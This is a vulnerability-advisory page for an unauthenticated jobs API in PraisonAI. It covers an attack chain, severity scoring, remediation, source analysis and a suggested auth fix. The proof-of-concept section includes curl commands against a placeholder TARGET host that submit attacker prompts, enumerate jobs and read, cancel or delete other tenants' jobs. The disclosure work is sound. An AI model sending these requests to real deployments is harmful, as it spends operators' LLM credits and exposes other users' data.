Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed jobs API endpoint
-
DeliveryPOST /api/v1/runs with attacker prompt
-
ExploitServer executes against operator LLM credentials
-
ExecutionEnumerate all jobs via GET /api/v1/runs
-
ImpactExfiltrate tenant outputs via /{id}/result
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication required for critical functions
MITRE ATT&CK
1 technique across 1 tactic: Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the PraisonAI jobs API to be network-reachable - the service defaults to binding |
| Impact | CVSS 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H) is well-calibrated for this vulnerability. The High availability impact reflects unbounded job queuing with a default timeout of 3600 seconds per job, enabling direct consumption of the operator's LLM API credits and compute resources - financial harm is the realistic worst case for many deployments. Confidentiality is Low because attackers can enumerate and read all cross-tenant job outputs from the shared store, but cannot directly extract host secrets or persistent data beyond the in-memory jobs store. Integrity is Low because cancel and delete operations impair job lifecycle management without modifying underlying system state. The critical real-world limiting factor is network exposure: the default |
| Exploit ScenarioDerived | An attacker discovers a PraisonAI jobs API bound to a public interface (via |
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Alert meAnalysisAIv1 – Aug 25, 2026
PraisonAI's async Jobs API FastAPI service exposes all seven /api/v1/runs endpoints - submit, list, status, result, cancel, delete, and stream - with zero authentication on every route, allowing any network-reachable caller to execute arbitrary prompts against the operator's configured LLM credentials and enumerate or exfiltrate cross-tenant job outputs. Publicly available exploit code is documented in GHSA-2jgc-f764-c5r2, with all five attack primitives confirmed via proof-of-concept returning HTTP 202/200/204 with no credentials. This is a distinct, unpatched sibling of CVE-2026-44338 - the Flask server fix at 4.6.34 did not touch the FastAPI jobs module, which remained fully unauthenticated through version 4.6.51.
RemediationAI
Upgrade PraisonAI to version 4.6.58 or later, which introduces authentication controls for the jobs server per commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 (https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1). The full release is available at https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58. If an immediate upgrade is not feasible, the highest-priority compensating control is to verify the jobs API binds only to localhost (--host 127.0.0.1, the default) and enforce firewall or container network policy rules blocking all external traffic to the jobs port (default 8005). Remove any --host 0.0.0.0 launch flags, revoke container port publish rules for port 8005, and audit all reverse proxy configurations for paths forwarding to the jobs endpoint. If multi-client access is required before upgrading, place an authenticating reverse proxy (e.g., nginx with auth_basic or an API gateway with Bearer token enforcement) in front of the jobs service as an interim measure - this adds an external auth layer without modifying the application but introduces a separate credential management dependency. The advisory (GHSA-2jgc-f764-c5r2) further recommends adding per-job ownership scoping and regression tests asserting unauthenticated requests return HTTP 401.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-306 (Missing Authentication for Critical Function). The FastAPI application in praisonai/jobs/server.py configures only CORSMiddleware before mounting the jobs router - CORS is a browser same-origin control enforced by the client, not server-side authentication. The APIRouter in router.py registers all routes under /api/v1/runs with no dependencies=[Depends(...)] at the router or individual route level. The sole Header(...) parameter present anywhere in the module, Idempotency-Key, is a request deduplication mechanism only. The in-memory job store contains no owner, principal, or session-binding field; list_jobs() returns the entire global store filtered only by caller-supplied status and session_id query parameters, enabling cross-tenant enumeration. A repository-wide grep of jobs/ for Depends, verify, token, authorization, bearer, x-api-key, HTTPBearer, AUTH_ENABLED, and check_auth returns only the string Authorization inside the CORS allow_headers list - confirming no authentication primitive exists in the module. Affected package: pkg:pip/praisonai, versions prior to 4.6.58.
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Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
PR:N confirmed by complete absence of any auth primitive; A:H for unbounded LLM credit exhaustion via 3600s timeout jobs; C:L and I:L for cross-tenant read and cancel/delete.
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
DescriptionCVE.org
Summary
PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs - with no token, cookie, session, or per-job ownership value.
The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.
This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server src/praisonai/api_server.py. The fix added AUTH_ENABLED/AUTH_TOKEN/check_auth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.
Technical Detail
Source-to-sink trace
The FastAPI app includes the jobs router with only CORS middleware - no auth (server.py, create_app):
# src/praisonai/praisonai/jobs/server.py
def create_app(store=None, executor=None, cors_origins=None) -> FastAPI:
app = FastAPI(title="PraisonAI Jobs API", ...)
# ... CORS middleware only (allow_headers includes "Authorization",
# but CORS is not authentication) ...
jobs_router = create_router(get_store(), get_executor())
app.include_router(jobs_router)
# no dependencies=[Depends(...)]The router (built inside create_router()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization:
# src/praisonai/praisonai/jobs/router.py
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"])
@router.post("", status_code=202) async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ...
@router.get("") async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...
@router.get("/{job_id}") async def get_job_status(job_id): ...
@router.get("/{job_id}/result") async def get_job_result(job_id): ...
@router.post("/{job_id}/cancel") async def cancel_job(job_id): ...
@router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ...
@router.get("/{job_id}/stream") async def stream_job(job_id): ...submit_job() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent:
# executor.py - submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents()
agent = Agent(instructions="You are a helpful AI assistant.", output="minimal")
result = await asyncio.to_thread(agent.start, job.prompt)
# attacker-controlled promptThe in-memory store has no owner / principal / user concept. list_jobs() returns the whole store filtered only by caller-supplied status/session_id:
# store.py
async def list_jobs(self, status=None, session_id=None, limit=20, offset=0):
jobs = list(self._jobs.values())
# global; no owner binding
if session_id: jobs = [j for j in jobs if j.session_id == session_id]
...A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth returns only the string "Authorization" inside the CORS allow_headers list. There is no authentication primitive in the module.
Distinction from CVE-2026-44338 (critical for triage)
| CVE-2026-44338 (already fixed) | This finding | |
|---|---|---|
| Component | Legacy Flask src/praisonai/api_server.py | FastAPI praisonai/jobs/ |
| Endpoints | GET /agents, POST /chat | /api/v1/runs (submit/list/get/result/cancel/delete/stream) |
| Root cause | AUTH_ENABLED=False, AUTH_TOKEN=None, no-op check_auth() | No auth dependency, middleware, or token exists at all |
| Status at 4.6.51 | Patched (auth enabled by default, token auto-generated, secrets.compare_digest) | Unpatched |
The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.
Trigger conditions
- Start the server, e.g.
python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory. - Make it reachable (
--host 0.0.0.0, container publish, reverse proxy, tunnel). - Send unauthenticated requests to
POST/GET /api/v1/runs,GET /api/v1/runs/{id},GET /api/v1/runs/{id}/result,POST /api/v1/runs/{id}/cancel,DELETE /api/v1/runs/{id}.
Proof of Concept
Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each).
## Unauth POST /api/v1/runs (submit job)
POST /api/v1/runs -> HTTP 202 Authorization sent: None
body: {"job_id":"run_de282b4c3f1c","status":"queued", ...}
## Unauth GET /api/v1/runs (list every job in shared store)
GET /api/v1/runs -> HTTP 200 Authorization sent: None
body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...}
## Unauth GET /api/v1/runs/{id}/result (read tenant output)
GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None
body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...}
## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)
t=0.0s status=running ... t=2.0s status=running
POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None
after cancel status=cancelled
## Unauth DELETE /api/v1/runs/{id} (delete terminal job)
DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: NoneEach privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output - the cross-job confidentiality primitive.)
Equivalent trigger in a fully installed, network-exposed deployment
python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory
curl -sS -X POST http://TARGET:8005/api/v1/runs \
-H 'Content-Type: application/json' \
--data-binary '{"prompt":"attacker controlled job","timeout":3600}'
curl -sS http://TARGET:8005/api/v1/runs
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>Impact
- Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to
timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing. - Confidentiality: callers list all jobs (
GET /api/v1/runs) and read completed results from the shared store - other callers' agent outputs. - Integrity / control: callers cancel running jobs and delete terminal jobs.
The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.
Suggested Mitigation
Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:
- Add a jobs-server auth token (e.g.
PRAISONAI_JOBS_API_TOKEN) and require it on every/api/v1/runsroute via a router-level dependency, so future routes inherit protection by default. - Use constant-time comparison (
hmac.compare_digest/secrets.compare_digest). - Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.
- Keep
127.0.0.1as default; warn or refuse when binding a public interface without auth configured. - Regression tests asserting unauthenticated
POST/GET/cancel/deletereturn401when auth is enabled.
import hmac, os
from fastapi import Depends, Header, HTTPException
def verify_jobs_token(authorization: str | None = Header(None),
x_api_key: str | None = Header(None, alias="X-API-Key")):
expected = os.getenv("PRAISONAI_JOBS_API_TOKEN")
if not expected:
raise HTTPException(401, "Jobs API auth is not configured")
token = x_api_key
if authorization and authorization.startswith("Bearer "):
token = authorization[7:]
if not token or not hmac.compare_digest(token, expected):
raise HTTPException(401, "Unauthorized")
# create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)])Executive ViewAI
PraisonAI's job scheduling API (versions through 4.6.51) is exposed without authentication to anyone with network access, enabling attackers to execute arbitrary AI prompts using your organization's LLM credentials and steal job data across all tenants. This creates direct exposure to fraudulent LLM API charges, compromise of LLM services, and potential exfiltration of sensitive data processed through your AI workflows.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
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